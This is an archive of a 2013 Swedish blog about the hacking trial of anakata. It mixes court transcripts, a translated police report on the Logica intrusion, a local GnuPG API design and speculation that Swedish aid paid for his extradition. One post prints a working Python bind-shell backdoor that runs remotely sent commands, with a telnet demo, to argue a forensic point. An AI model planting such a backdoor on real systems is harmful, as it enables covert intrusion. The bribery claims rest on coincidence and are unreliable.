Life.

December 28th, 2013 by qnrq

Your consciousness spawns as a result of an imaginary nothing. You’re forced into an imaginary eternal maze purposefully filled with stress and anxiety.

Welcome to life: a game where players in your shoes have lost touch with nature and become mindless drones chasing fantasies of materialistic possessions backed by imaginary values, thus judging you thereafter – rather than character. On our deathbeds we’ll proudly tell the stories about all the megapixels we had, for that is what is most important.

Forget questioning, we’ll turn you into an outcast and stack the odds against you like Blackjack. We’ll guide you into temptation only to benefit from punishing you. We’ll call you sick, twisted and insane after paving the road and having established the pillars on which we built you.

Change, yes we can, everything except our opinions and habits, how else could we function? You can vote for the Pepsi or the Coke party, you see, we’re giving you a fair choice here. Like Henry Ford said it: you can have a car painted any color so long as it’s black. Did you wish to say something? Oh, sorry, we’ve run out of air time.

Swedish little piggy wants to shop invisibly

December 20th, 2013 by qnrq

Eight days ago I wrote about the mysterious events in Swedish aid donations to Cambodia in relation to anakata’s arrest year 2012, revealing that 2012 hit a peak with a ~$9,5 million increase which later dropped in 2013.

As usual the post was read by officials working for the Swedish government. More specifically the Swedish Defence Research Agency read the article at 2013-12-16 09:14:22 AM, at 09:15:19 AM they clicked the Creeper icon in the menu to the right (and discovered that their surfing habits were being publicly recorded) and at 09:15:51 AM they read about anakata’s uncontrollable computer:

qnrq.se *   2013-12-16 09:15:51 – FOI, Totalförsvarets forskningsinstitut
gnuheter.com *  2013-12-16 09:15:19 – FOI, Totalförsvarets forskningsinstitut
qnrq.se *   2013-12-16 09:14:22 – FOI, Totalförsvarets forskningsinstitut

Today I can reveal that between 16th and 20th December the Swedish aid to Cambodia was mysteriously modified to, instead of listing $26,400,000 like it did eight days ago, display the total sum for 2013 as $36,400,000.

Between today and four days ago, when the reveleation was read by the Swedish Defence Research Agency, the aid sum was bumped on OpenAid.se with an exact $10 million. There is currently no further explanation for where the extra $10 million has come from, but it is incredibly close to the estimated price for extracting anakata from Cambodia.

Was the extra $10 million actually spent or only added to the published statistics to make it look like a more natural development than the way it looks when the aid increases with 32.15% in 2012 only to drop again by 30.22% in 2013? Has Sweden purchased another hacker for extraction?

Either way: It’s very hard to escape the tinfoil style fashion speculation that this is a pure cover-up.

Swedish little piggy went to the market

December 12th, 2013 by qnrq

In 2012, after anakata’s arrest in Cambodia, suspicions rose that Sweden might have paid for his arrest through an increase in its annual aid package. The reasons being that only four days later Ambassadors signed a deal granting an all time high donation.

Anders Jörle, Swedish Ministry for Foreign Affairs spokesperson, was quoted in Swedish press calling the speculations about the oddly timed increase “ridicilously far-fetched”, but publicly released numbers show that perhaps money trail speculations were not that far from the truth.

What the published statistics show is that one of the highest donations occurred in 1997, at the time when Hun Sen rose to power through a military coup. 1997 was the year when the currently serving government rose to power through violence, not long after Pol Pot’s Khmer Rouge regime had fallen and Cambodia fell back to civil war standards. In relation to the rough times that Cambodia was facing in 1997 it is quite expected that Sweden would donate an all time high sum.

Yet, the 1997 donation is historically the 2nd largest sum donated to Cambodia by the Swedish government in form of aid. The largest donation occurred in 2012, coincidentally the same year as anakata was arrested in central Phnom Penh.

Not only was 2012 the largest total, it was also the largest modern percentage increase of 32.15% between 2011 and 2012, while the increase between 2010 and 2011 was only 6.25%. Coincidentally the total aid sum mysteriously dropped again between 2012 and 2013 by a good 30.22%.

In 2013 the same ministry, the Swedish Ministry for Foreign Affairs, released a report where they concluded that they didn’t really have any clue of how Sweden is handling aid money which is paid annually to countries considered in need of help.

The Swedish Ministry for Foreign Affairs report concluded that parts of the Swedish annual aid is handled by trainees and nobody is actually following up where the money is going.

In fact, everybody is so informed about how aid packages are received by third world countries in need that when Swedish SIDA in 2013 donated IT equipment to the Cambodian Ministry of Education Nath Bunroeun, Education Ministry Secretary of State, begged local officials not to bring it home for private use.

So, who took the ~9,400,000 paid by Sweden to extract anakata home?

Aid by year

1980 $12,300,000
1981 $8,730,000
1982 $8,340,000
1983 $5,460,000
1984 $8,460,000
1985 $3,110,000
1986 $4,449,000
1987 $1,080,000
1988 $0
1989 $5,270,000
1990 $3,580,000
1991 $3,170,000
1992 $19,200,000
1993 $10,100,000
1994 $5,670,000
1995 $3,970,000
1996 $14,300,000
1997 $30,400,000
1998 $14,200,000
1999 $7,550,000
2000 $16,800,000
2001 $16,900,000
2002 $14,500,000
2003 $18,700,000
2004 $22,500,000
2005 $14,400,000
2006 $17,200,000
2007 $17,900,000
2008 $16,100,000
2009 $23,900,000
2010 $24,000,000
2011 $28,300,000
2012 $35,800,000
2013 $26,400,000

anakata’s uncontrollable computer

September 5th, 2013 by qnrq

IT security specialists working for the Swedish Security Service Department of Information Security and Preservation of Evidence in IT environments performed forensics analysis on a computer seized from GSW and made the conclusion that it would be impossible to remotely control it without leaving traces, specifically seizure 2012-0201-BG25023-26. The problem is that they are wrong. The investigation report is originally written in Swedish, my translated version can be downloaded here.

The forensics analysis was isolated to the assumption that computers can only be remotely controlled via legit remote control services, such as Terminal Services and PowerShell. The forensics analysis focused on the services mentioned by the defendant and thus bypassed the possibility that, just like Nordea’s and Logica’s computers, the seized computer might as well just have been hacked unknowingly to the defendant; equal to how Logica was undetectably hacked for at least two years.

Yesterday, when Jacob Applebaum was heard as an expert witness called by the defense, the author of the report admitted that all contents of the seized computer’s harddrive had not been analyzed and that he is not a Windows expert.

The analysis assumes that only one firewall was present in the network: Windows Firewall, despite there being records of “plastic cover belonging to router” being handed over to Swedish authorities by Cambodian authorities. The router’s model version and firmware settings are uknown as it has neither been documented nor analyzed. Apparently seizing the plastic cover was a higher priority.

In their investigation the Security Service shows that Adobe Flash Player versions 11.0r1, 11.2.d202, 11.3.r300, 11.3.r400 and 11.3.402 had full permissions in the seized computer’s Windows Firewall rules to communiate over both TCP and UDP over any port in any direction. These versions of Adobe Flash Player are vulnerable to over 100 security issues which can be exploited to execute code through so called remote code execution exploits.

The computer’s Windows Firewall also allowed the Python interpreter to, just like all the other whitelisted applications, communicate over both TCP and UDP on any port and on any network device. Without going into further details in this post, here is a simple example of how a computer can be remotely controlled without leaving traces via Python:

import socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM))
# Bind to port 9999 (example) on any network device
s.bind(("", 9999))
s.listen(1)
# Accept connections from clients
conn, addr = s.accept()

# Loop forever
while 1:
  # Read command sent from client
  data = conn.recv(1024)
  # Close link if no command is received
  if not data: break
  print("[+] Connection established")
  # Execute received command
  output = subprocess.check_output(data.decode().rstrip())
  # Send output of executed command back to the client
  conn.send("OUTPUT\n------\n".encode())
  conn.send(output)

conn.close()

When running the script above it creates a socket that listens on port 9999 which accepts connections on any network device on the computer. It then waits for clients to connect to it, reads received commands, executes them and returns the command output to the client. It’s not even complicated.

As an example this is what it looks like when a client connects to the server and lists the files in the current directory:

> telnet localhost 9999
Connected to localhost.
Escape character is '^]'.
ls
OUTPUT
------
server.py

In addition, the same scenario applies to another piece of software which was both installed and fully allowed in the local firewall: Neko.

Additionally the computer had both the OpenVPN client and server software installed enabling outsiders to connect to the computer and connecting the computer to additional networks, forming a Virtual Private Network, which is a globally routed virtual LAN. By directly connecting to the computer or by connecting the computer to an existing VPN other clients in the same VPN can share local resources, like harddrive storage, across the network.

Essentially it all boils down to that it is up to the software which enables remote control functionality to save logs to the harddrive. If the programmer doesn’t explicitly write such logging functionality, like in the Python example given above, logs are simply not stored to the disk. Windows does not write every network transmitted bit to the disk and unless someone logs their own backdooring it’s not going to be detected through forensics. Neither is the Python example demonstrated above detected by antivirus software as it is performing completely normal network operations.

You can obtain my somewhat lengthy comments written on this matter here. Please keep in mind that it was written under somewhat stressed circumstances where technological facts were more prioritized than human linguistic expression and spelling.

With more than 100 possibilities to remotely control the defendant’s computer without leaving traces, counting only those circumstances that paint the environmental picture in the Security Service’s investigation, it is absurd to claim that it would be impossible to remotely control the seized computer without leaving traces.

The authorities worked around the preresquites of justice when they first seized a router’s plastic cover instead of the router itself and later focused selectively on Windows Firewall. Analyzing the plastic cover would have had the same relevance as the investigation of remote control possibilities conducted by the Swedish Security Service.

Making the possible seem impossible is easy when the defendant’s documents are locked in a secret cabin and nobody has the ability to question you, but such actions does not promote true possibilities. It seems like the investigators were biased.

Solving the browser crypto problem

July 14th, 2013 by qnrq

Many developers have worked hard to port critical cryptographic functionality to JavaScript. We all agree that there is a clear requirement in a safer world to have asymmetric crypto support in the web. Porting code to JavaScript is great for users that don’t really care about the strength but only that the data is encrypted. Those people usually believe that they do not need perfect crypto, as long as it is any form of crypto it is “good enough” for them.

There are many problems with porting cryptographic functions directly to JavaScript and we see many great ideas failing on doing things properly. JavaScript cryptography is very young when comparing its lifespan to established binary solutions, such as GnuPG, that have been audited for long. GnuPG has been around since 1999 and GPG4Browsers, now OpenPGP.js, since 2011.

Auditing JavaScript ports leads to better design and less failures in time, but even when everything has been solved some problems remain due to design. Web browsers live in a very hostile world and we systematically witness XSS vulnerabilities and 0day exploits which enable dumping critical data, like private keys, as soon as either the DOM or HTML5 local storage is accessed. We can take care of badly implemented cryptography but we can’t take care of the way that the JavaScript implemented cryptography is accessible to anything that can execute JavaScript in the correct environment. As long as cryptography is done in JavaScript this will always be a huge threat.

The users that care more about their security and privacy are demanding solutions aligned with their requirements, and JavaScript implemented cryptography is by design insecure due to the surrounding threats in its domain. These users are actively choosing not to use JavaScript ported functionality but instead continue to use their local binaries that have been around and audited for decenniums more than newborn ports. And they are completely correct in doing so, because how can we actually trust JavaScript? We are stepping over the security requirements in order to deliver working solutions faster than science can keep up with it. We are impatient and we need something to work as soon as possible, especially in modern day and age with the ongoing war against free unmonitored online communication. By doing so we bypass the most important core ideas of implemented cryptography: security and privacy.

The solution

In order to expose GnuPG functionality to the web we must create an API for it which can perform cryptographic operations with non sensitive elements, such as armored public keys and private key metadata, without exposing anything of importance. The best way of doing it and successfully integrating it into web browsers is to run a webserver locally which pre accepted remotely served content can communicate with. The most important detail is that private keys should never ever be available for the web browser but instead reside in the local GnuPG keyring which the API manipulates through the local GnuPG binary.

I came up with a solution that I named pygpghttpd which I am currently working on supporting in my OpenPGP plugin for Roundcube: rc_openpgpjs. pygpghttpd is an open source minimalistic HTTPS server written in Python. pygpghttpd exposes an API enabling GnuPG’s cryptographic functionality to be used in web browsers and other software which allows HTTP requests. pygpghttpd runs on the client’s localhost and allows calling GnuPG binaries from the user’s browser securely without exposing cryptograhically sensitive data to hostile environments. pygpghttpd bridges the required elements of GnuPG to HTTP allowing its cryptographic functionality to be called without the need to trust JavaScript based PGP/GPG ports. As pygpghttpd calls local GnuPG binaries it is also using local keyrings and relying on it entirely for strength. In short pygpghttpd is just a dummy task router between browser and GnuPG binary.

pygpghttpd acts as a HTTPS server listening on port 11337 for POST requests containing operation commands and parameters to execute. When a request is received it checks the “Origin”, or if missing the “Referer”, HTTP header to find out which domain served the content that is contacting it. It then detects if the domain is added to the “accepted_domains.txt” file by the user to ensure that it is only operational for pre accepted domains. If the referring domain is accepted it treats the request and serves the result from the local GnuPG binary to the client. In the response a Cross-origin resource sharing HTTP header is sent to inform the user’s browser that the request should be permitted. If the referring domain is missing from accepted_domains.txt the user’s browser forbids the request in accordance with the same origin security policy.

The HTTPS certificate used by pygpghttpd is self signed and is not used with the intention to enhance security since all traffic is isolated to the local network interface. It uses HTTPS to ensure that both HTTPS and HTTP delivered content can interact with it.

pygpghttpd exposes metadata for both private and public keys but only allows public keys to be exported from the local keyring. The metadata for private keys is enough for performing cryptographic actions. Complete keypairs can be generated and imported into the local keyring.

For example, generating a keypair with cURL:

curl -k –data “cmd=keygen&type=RSA&length=2048&name=Alice&email=[email protected]&passphrase=foobar” -H “Origin: https://accepted.domain.com” https://localhost:11337/

Or from JavaScript:

$.post("https://localhost:11337/", {
  cmd: "keygen",
  type: "RSA",
  length: "2048",
  name: "Alice",
  email: "alice\@foo.com",
  passphrase: "foobar"
}, function(data) {
  if(data == "1")
    return true;
  return false;
});

Please see the project on Github, API documentation and example for full details.

Fending off attacks

June 18th, 2013 by qnrq

Dear readers,

As you may or may not have noticed, qnrq.se was inaccessible between Friday the 14th until Monday the 17th. The site was totally unavailable for 65 hours due to a powerful DDoS attack that knocked out my host’s cluster on which the site resides (195.74.38.18). Downtime doesn’t affect me as a publisher: there is nothing here that is not backed up and I don’t intend to financially gain from the visitors of this site. Instead, it affects you as a reader. It affects your ability to access the information that is being spread through this domain. This is a serious attack on your right to access information freely. Therefor I would like to address how this situation will be handled to ensure that you can, at bare minimum, always access the content that I provide.

There are no restrictions that prevent search engines and other crawlers from accessing content published on this site. If it goes down you can always view the content through, for example, Google’s cache or the Internet Archive. I have also installed and configured Cloudflare, which caches and delivers content through their CDN even when the site is inaccessible. Please keep in mind that Cloudflare is an American company which by law has to co-operate with the NSA and similar organizations. If you wish to hide your activities on this site from such organizations then please use an anonymization service like IPredator or Tor.

Cloudflare is the first non-Swedish service which is involved in delivering content on this site since I first put it online nearly two years ago. There are no Google Analytics or similar foreign tracking you here. My host, Binero, is a Swedish company with their servers placed in Sweden. The Flattr buttons you see all over the site are served by a Swedish company with servers in Sweden. The Creeper icon in the menu on the right side is served by a Swedish server run by a group of Swedish open source fanatics. The top domain? Swedish. You get the point.

Limiting the site to be served from within the Swedish borders has always been a conscious decision. Originally publications were mostly limited to Sweden and I didn’t want my visitors’ data to be sent to a lot of fishy people I have no idea of who they are. Later the site grew in popularity and I now have almost as many international visitors as I have Swedish.

I have to both fend off attacks and ensure acceptable performance. The site is being run with a very limited budget and implementing Cloudflare seems to be the best alternative from a both financial and performance perspective. Introducing an American company into the chain isn’t exactly my dream scenario but the availability is important for me. Unfortunately this creates a conflict with users that care about their privacy, especially around America.

I hope to satisfy both the performance parts and privacy parts in different means. I have stuck to the same host, Binero, for many years now, but the way that they handled the recent DDoS is entirely unacceptable to me. I am not going to deal with a host that requires me to contact them to move my site to a cluster which is not affected by the attack by pure principle (“because it causes downtime for the already DDoSed customers”, they claimed). My attitude is that if I am paying somebody to deliver me a service then I expect them to do everything in their power to ensure that the service is delivered and not require me to walk extra miles for them and then waiting for three days for their support to react. With those conditions I would much rather have as much as possible in my control, and that’s the next phase.

I am breaking up with Binero and moving the site to a dedicated Swedish VPS. For security and other considerations I will abandon PHP on the new host and serve WordPress generated pages statically. Everything will remain the same for you as a reader in terms of accessing and reading. The positive thing is that I won’t have to deal with intrusion attempts directed at PHP and WordPress and also Cloudflare will be configured to cache the static pages so that you can access them even when my host goes offline. The negative part is that you will no longer be able to leave comments on the site, but that may be fixed sometime in the future. When the site has been migrated to the new host it will also be available through HTTPS.

I believe that this is the best solution available, please let me know if you feel otherwise by commenting on this post.

Cheers, stay critical.

The extradition (Morgan part 7)

June 17th, 2013 by qnrq

Nacka District Court has granted prosecutor Henrik Olin permissions to extradite Anakata to Denmark in accordance with the Danish order for arrest. Anakata will remain in solitary confinement until the extradition is executed. Whether Anakata is allowed contacting the outside world is up to the prosecutor, Henrik Olin, in the Swedish hacking and fraud charges.

Extradition can be executed by earliest 25th June, given that the District Court finalizes the judgement on time. Prosecutor Henrik Olin decides in co-operation with the Danish authorities when the extradition shall be executed. The District Court’s decision can be appealed to the Swedish Court of Appeal.

Morgan the Trial (part 6)

June 1st, 2013 by qnrq

Below is the translated transcription of the hearing with GSW regarding charges related to intrusions in the Nordea Bank. Original Swedish recording can be downloaded here.

Dag 5, 2013-05-31
11:00 Förhör med tilltalad GSW (åp 5-13)

OLIN: Thank you. I think Ola Salomonsson has already answered some of my questions, but I thought I would ask you to make some comments. Perhaps you would first like to say something in general about these charges.
GSW: Yes, well… I don’t know what more to say than that I don’t have anything to do with it.
OLIN: Then I would like to ask a little about… first the harddrive, point 2. On it there are traces of all kinds of datasets from Nordea, do you have any comments on that?
GSW: I’m not denying that they are there, I’m denying that I have put them there.
OLIN: Yes. And you heard my statement about these 14 different IP addresses that were relevant and the 13 direct occurrence and 14 indirect occurrences in the MacBook, point 26. A big portion of them was from the ISP Cogetel, which perhaps is a big provider in Cambodia or?
GSW: I actually don’t know that.
OLIN: No. You said earlier that you had used that ISP?
GSW: Yes exactly.
OLIN: And yes… Perhaps it’s not so easy, but do you recognize any of these IP addresses?
GSW: No. I can say that I recognize that they are from Cogetel based on the numbers they are starting with but… I don’t recognize them otherwise.
OLIN: This other Cambodian ISP, what was the name again… Maybe you know that better than I? Citylink and Digi, do you recog–
GSW: No, it’s nothing I recognize. I may have heard the names but I haven’t been a customer of them.
OLIN: Malmö Borgarskola, (inaudible) group, nothing you–
GSW: Never heard of them.
OLIN: No familiar names at all?
GSW: No.
OLIN: Returning to this Mysec content that we discussed in previous hearings. In the Mysec content, if I can express myself like that… The files connected to Mysec in your computer, there are 4 of these IP addresses that are connected to the intrusion against Nordea.
GSW: Which page?
OLIN: Oh no… Perhaps I am wrong a little bit I’m realizing, these IP addresses…
?: Which page?
OLIN: I am on page 130. Oh, okay. Sorry. I will reformulate the question. I think that you should interpret this on page 130 that after contact with Mysec and in data that they have delivered they have informed that 4 out of these 14 IP addresses connected to Cambodia have been discovered at Mysec. Do you have any comment?
GSW: I will begin by pointing out that Cogetel uses so called dynamic IP addresses, meaning the customer gets a new IP address every time he connects. So you have to look at the timestamp also.
OLIN: Yes. But you have connected to Mysec’s environment from your computer in Cambodia.
GSW: That’s correct.
OLIN: And you naturally don’t know which IP?
GSW: No.
OLIN: Especially considering they are dynamic?
GSW: Mm.
OLIN: And that your defense already answered to but I’ll ask anyway at the risk of being a bit repetitive, but regarding these transactions… these names of individuals and companies, is there anything that is familiar to you?
GSW: The first time I heard any of the names was during the interrogation on 8th March.
OLIN: The company called (inaudible)?
GSW: Never heard of it. I think on 8th March you asked about three recipients.
OLIN: During interrogations?
GSW: Exactly.
OLIN: Oh, OK. But now that you’ve heard all names you don’t have any..
GSW: No.
OLIN: No. I have no more questions, thank you.
Judge: Ola Salomonsson.
OLA: The question can seem a bit distant in relation to all these technical things… But I will begin by asking you, without going into personal things, how are you living in Cambodia during this time? How is it financially for you?
GSW: I didn’t have any financial problems. I was partially working, running a business down there.
OLA: And you had a lot of employees too?
GSW: Yes, in the previous year.
OLA: But at this time, more exactly during the summer 2012.
GSW: I was freelancing as a consultant and didn’t have any financial problems at all. I was getting money from my parents too.
OLA: Is it the same residence and same conditions as you said in earlier hearings?
GSW: Yes.
OLA: I mean with the guestroom and the computers and so forth.
GSW: Exactly.
OLA: There is no difference I think. Now… the technology isn’t so easy at least for me, but when you say that the ISP in this case had a dynamic timestamp or…
GSW: Dynamic IP address.
OLA: That’s right, dynamic IP address. What does that mean, explain a little bit.
GSW: It means that customers are assigned new IP addresses every time they connect.
OLA: OK. So that many different IP addresses are occuring…
GSW: That can both mean that one and the same computer has multiple IP addresses or that multiple computers have the same IP address. They only have it at the same time.
OLA: If we apply that on the fact that there are 14 different IP addresses here, does it have any value then?
GSW: No, not really.
OLA: No, OK. I said but perhaps it should also come from you, or perhaps that question was asked. But you didn’t recognize any of these companies…
GSW: No.
OLA: that the money has supposedly been sent to…
GSW: Nothing.
OLA: We have Iran here, now your computer might have been remotely accessed but do you have any connection there?
GSW: No, none.
OLA: Do you have any similar reflection as you had on the previous charge, a slight idea over which individual or group could be behind this?
GSW: This is closer in time so it’s easier to remember things that have happened and I have my suspicions of who could…
OLA: Is that going in the same direction as what we talked about previously?
GSW: Yes, it’s more or less the same.
OLA: More or less the same?
GSW: It’s the same.
OLA: I have thought, and of course you think a lot about this case, it’s a pretty large investigation but… I am wondering if it’s not you that is responsible for the intrusion and transactions then one can ask, and you have your suspicions, but is there anything in this material that you can point at that shows that you didn’t do it?
GSW: It’s hard to say that it’s not me except by saying that I don’t know anyone of those involved.
(OLA and GSW talking at the same time, inaudible.)
GSW: Besides that I can say that I actually had work to do and didn’t have time to sit and do these things.
OLA: Summer 2012?
GSW: Yes exactly.
OLA: Maybe it doesn’t take so long to do this but you can tell anyway, what are you doing when you are busy?
GSW: I am freelancing as a consultant doing graphical development and other…
OLA: Mm, and it was a little bit what you said earlier.
GSW: Exactly.
OLA: So to say you were active summer 2012.
GSW: Yes.
OLA: One can either way ask, since we are specifically asking about the summer 2012, even though the intrusions happened a short while before that, were you physically in Phnom Penh where the computers stood?
GSW: Yes I was.
OLA: You know that you were?
GSW: Yes.
OLA: Have you had any guests at all?
GSW: I have had many.
OLA: Even during this timeframe?
GSW: Exactly. Also people that have been living there for longer periods. I had, like I said, a pretty large apartment very centrally so people often came to the city when living somewhere else in Cambodia or were temporarily in Cambodia and lived in my apartment instead of renting a hotel room.
OLA: I asked the question to the prosecutor if the intrusions and data transfers had to be made (inaudible) is there anything in that regard that you want to inform or say?
GSW: I have nothing to do with neither the intrusions nor the data transfers so I can just generally point out that it doesn’t have to be the same person.
OLIN: One more question from my side.
JUDGE: Go ahead.
OLIN: You don’t have any obligations to prove your innocence of course, Gottfrid. But now both under this charge and the previous one you have repeated these suspicions that you have, when you’ve said one part don’t you want to say the second part and give some more information about your suspicions?
GSW: Now I will speak personally from the heart so to say. You must understand that here you come and first you talk about several years in prison. Do you know what happens to so called snitches in prison?
OLIN: It’s not my part to answer any questions right now but I understand your viewpoint.
GSW: You have to understand that I can’t expose myself to the obvious risk losing life and limb. It’s also quite large sums of money so it’s very likely that the actual offenders would go after me if I…
OLIN: So your own security is the reason why you don’t want to say anything more. I respect your answer, that’s what I wanted an answer to. Thank you.
OLA: To add on the same theme, there are even journalists that have called me, not only one but pretty many, but people are wondering a little about whether you’ve been threatened or are afraid of threats from individuals or groups, have there been any?
GSW: I haven’t received any concrete threats, no.
OLA: This with the computer world, hackers breaking into every mainframe and banks and transfer money, this can spontaneously possibly be connected to international crime and serious crime…
GSW: It’s a little bit why I brought up this with that different people can have done the hackings and transfers.
OLA: I can imagine that this is extremely organized.
GSW: Exactly.

Morgan the Trial (part 5)

May 19th, 2013 by qnrq

The trial against Anakata and his alleged co-conspirators begins tomorrow and is scheduled until the 6th June. In case you’ve missed it, WikiLeaks published all related documents today. The prosecution documents, which the Swedish government declined handing out in digital format, has thus gone fully public.

The loud voices that were panicking Cambodian authorities into deporting Gottfrid aren’t echoing in the prosecution. The alleged danger was certainly hyped; a wise tactic if the goal is to withdraw somebody from another country as fast and quietly as possible, however unwise if the authorities wished to act in accordance with their own laws.

“Sweden has donated money to Cambodia since 1979, shut up with your tinfoil fashion”, says the critic. Yes, but what amounts? Published 2009 by SIDA, Sweden originally planned to donate 241 255 000 SEK to Cambodia year 2012. In 2010 Sweden donated 24 million $USD and 25.5 million $USD in year 2011. Year 2012, the year of Gottfrid’s arrest in Cambodia, the financial aid grew with, comparing to 2011, 32.15% to 33.7 million $USD. Quite a large increase considering the 6.25% increase between 2010 and 2011. The financial aid that Cambodia received from Sweden 2012 is the largest one in history.

Of course there are other parameters to take into consideration such as economical development, but when the Cambodian Interior Minister travels to Stockholm only one week after he signed Gottfrid’s deportation order then it’s quite natural to raise questions. In fact it’s so natural that even the officials of the Swedish Ministry for Foreign Affairs are being prepared to answer to those questions and the Swedish Embassy staff is pointing out that the coincidence is an “interesting detail”. Smile and wave boys, smile and wave.

A state does not simply legally deny somebody their right to an attorney and lie to and mislead those that wish such rights to be granted. According to themselves, originally the Swedish embassy and Ministry for Foreign Affairs was insecure of whether they’d be able to retrieve Gottfrid in the first place. Fully understandable, considering the fact that upon deportation the deportee has a choice of destination and also various legal rights such as access to lawyers and court processing, things that were never optional for Gottfrid. The Swedish authorities intended to act as quickly as possible in the shadows of their own biased classifications. Us mortals are told to get with the system and stop questioning or face the never-ending troublemaker labeling.

In order to raise the panic levels the government is saying that people have been harmed in these alleged intrusions. When directly asked the Swedish tax agency couldn’t estimate if it hurt anybody. The government wrote in their statements that people with protected identities were being put at risk by the leaked so called person numbers. They are entirely public in Sweden and can’t be put to much use. The same information that was allegedly stolen from Logica’s mainframes, the tax agency data, contains information that can be retrieved by calling the tax agency and asking for it.

Swedish person numbers are no secrets, they are available anywhere and the worst thing you can do with it is change somebody’s name or address, like how someone changed the name of Antipiratbyrån’s lawyer Henrik Pontén to Pirate Pontén. Actual harm and annoyance can undoubtedly be caused by using person numbers in malicious ways, but once again they are entirely public. If it is such a big problem that people can cause harm with person numbers then why doesn’t the tax agency start, hm let’s say, verifying critical things that can be done with one’s person number to begin with? These are problems that exist far outside the hacker scope.

The alleged harm is of course made up to weigh in sync with the amount of money that the affected private companies and government agencies spent on their investigations. Not actual harm caused to individual members of the society.

It’s actually about time that something like this happened. People are always boasting about how anything can be hacked but in the end of the day very few citizens reflect on whether or not it is wise to trust the government. After all they are repeating what their trusted vendor has told them after saying what their own trusted vendor has told them, and so forth. The citizens are trusting a government to protect their data and in turn the government outsources the data to private companies which is configuring their mainframes to forbid passwords mixed with uppercase and lowercase characters and then capping them at 8 characters. Best of all, all these mainstream media articles about password policies and security? Turns out Sweden protected their tax agency datasets without any password policies. The government is just a brand used to verify multiple companies which have structures that are too complex for the average citizen to get a wide understanding of. We elect a government because we are lazy. Our own laziness is repeatedly making bad decisions for us.

The tip of Mount Problem is that these problems are everywhere. System administrators, governments and companies don’t care if your data is lost because it’s lost, they care because if you find out about it then you might choose someone else to provide you services and they’ll start losing customers and votes. Governmental trust is the lowest level of marketing because the general public trusts it to make the right decisions in most cases by default due to the governmental branding.

The biggest threat of exposing them is that they lose trust. They are not protecting you. If you aren’t protecting yourself then nobody is. Banks and governments have repeatedly proven that they will rather keep cyber attacks secret than expose them and risk losing your trust, which you have to keep in mind is what they convert into profit. The biggest threat of exposing them is that they lose trust. Keeping cyber attacks secret paradoxically benefits the attackers just as much as the government.

Now vote like it matters.

Logica, National Special Event: Morgan (part 4)

May 3rd, 2013 by qnrq

axex

0201-K81864-12 Notification Letter from Axex

Translated version of Axex’s police report for Applicate.

Contact details
2012-03-19

Reporter:
Yv*nn* W*stm*n, CEO
Infodata Applicate AB
556436-3421
Box 34101
100 26 STOCKHOLM

(The reporter requests that the report is classified if possible since publicity about the event can affect the company more than the event itself. The reporter requests to receive a copy of the report sent to them.)

CEO Yv*nn* W*stm*n describes the situation at Logica as “panicky”.
Responsible person at Logica is

J*h*n R*p*, C of Operations
Logica Sverige AB
073-xxx xx xx
He is in maximum charge of Logica’s operations in Sweden.
CEO Yv*nn* W*stm*n requests that the Security Service speaks to him if possible before he takes any panicky actions.

Introduction
Axex co-operates with Infodata Applicate AB in security related matters. The company has recently been attacked by hackers and has requested us to report the event.

Infodata Applicate AB, 556436-3421, wants to report hacking where somebody unknown has gained access and stolen information from their servers in the network.

Procedure
Somebody has illegally downloaded information from Applicate. Logica is the company that supplies Applicate infrastructure. The attack has been made through Logica’s web application and from information received they have also accessed mainframes (which requires special knowledge).
In connection with the intrusion of Infotorg’s web applications the intruders have used Monique Wadstedt’s account. She is the lawyer that representet the American entertainment companies that were one of the parties in the Pirate Bay trial. Outgoing traffic has been going to two IP adresses at an ISP called Cogetel in Phnom Penh, Cambodia, Bahnhof and Tele2 mobile connection.

During the intrusion the attckers have downloaded amongst others, social security numbers for protected identities from 2007 (without names or other information). They have also downloaded the entire SPAR database incloding historical data from 4 years back in time.
It is estimated that 1.7 Tb information has been transferred out of Applicate’s storage servers.

Description
The 3rd-4th March 2012 Applicate’s IT manager noticed increased activity and load which exceeded normal level in the mainframes which they use. The increase wasn’t dramatic and they were insecure of what the reasons were.
Pretty soon IT personnel found that there was abnormal activity in the network.

Closer investigation found that an account belonging to a sales person at Applicate had performed 1600 transactions under one hour, which is impossible to do manually. They also found abnormal searches made by the same account.
Controls showed that the owner had not been at their or somebody else’s computer with access to the system. The account owner had been in sales meetings at the point of time.

Additional studies showed traces of FTP traffic and exportation of text files which is very rare at Applicate. One could also detect that Telnet communication started against the mainframe resources which is not normal.
Applicate made the conclusion that they were attacked and that somebody had accessed their servers.

By investigating the search queries made by the compromised user account they found that the permissions for the account had been increased and that some strings included in the code for permissions could only originate from Logica.

There are also details that Logica Sweden is about to fire upp to 450 employees as a saving measure.

Applicate has also found that the attackers used one of Logica’s group manager’s user account in their office in Bromölla to gain illegal access to information.

More extensive investigations were carried out and they showed that the attackers had hacked into and stolen information from the administrative permission system RACF in the mainframe. This system contains information about circa 100 000 users. They have also downloaded information from a system called PI, where information regarding permissions also occurs. These systems are in a UNIX mainframe environment.

Applicate has in its security work decreased the 200 accounts with highest permissions that have been found in the investigations to 2 accounts.

In its security work Applicate has found that somebody used Monique Wadstedt’s account. Wadstedt has had permissions and accounts in Applicate’s web interface that the intrudors have remade and created a mainframe account with superuser permissions. The intrudors have then used this access and permission to illegally download large amounts of files.
(Monique Wadstedt was the lawyer which represented the American entertainment industry in the Pirate Bay trial).

Applicate representatives have been informed by IBM specialists (hired by Logica) that investigated Logica’s mainframes and systems and found that there were over 20 years old user accounts remaining in the permission systems.
Regarding the Police connections to Applicate’s information systems they state that the Police has its own encrypted connection between Applicate’s mainframe and the Police’s mainframes.

After a detailed review of the situation Applicate has found that somebody downloaded circa 10 000 social security numbers belonging to people that had protected identities 2007-01-29. These numbers were extracted out of the system to be put in and complete the company services that Applicate ofers. Normally only the police can access the personal information that is connected to these numbers but it is not unlikely that a user with superuser permissions would be able to access and connect this information with accurate data.

Applicate has found that there have been searches made on people living around Borlänge, Ludvika and Smedjebacken. Queries have also been made on people in other parts of the country.

Moreover it has been detected that the intrudors through searching for the organisation number of the National Police Agency have searched for vehicles owned by the National Police Agency.

Other search queries have also been made.

The intrudors have also downloaded the SPAR database which also includes historical data 4 years back in time.

Upon examining outgoing traffic Applicate can state that traffic has gone to at least two IP addresses owned by Cogetel in Phnom Penh in Cambodia. Applicate has also detected exports to IP addresses in Germany and various other countries in Europe. Information has been downloaded using ISP Bahnhof and Tele2 mobile broadband with a prepaid SIM-card.

Stockholm 2012-03-19

P*d*r Q**st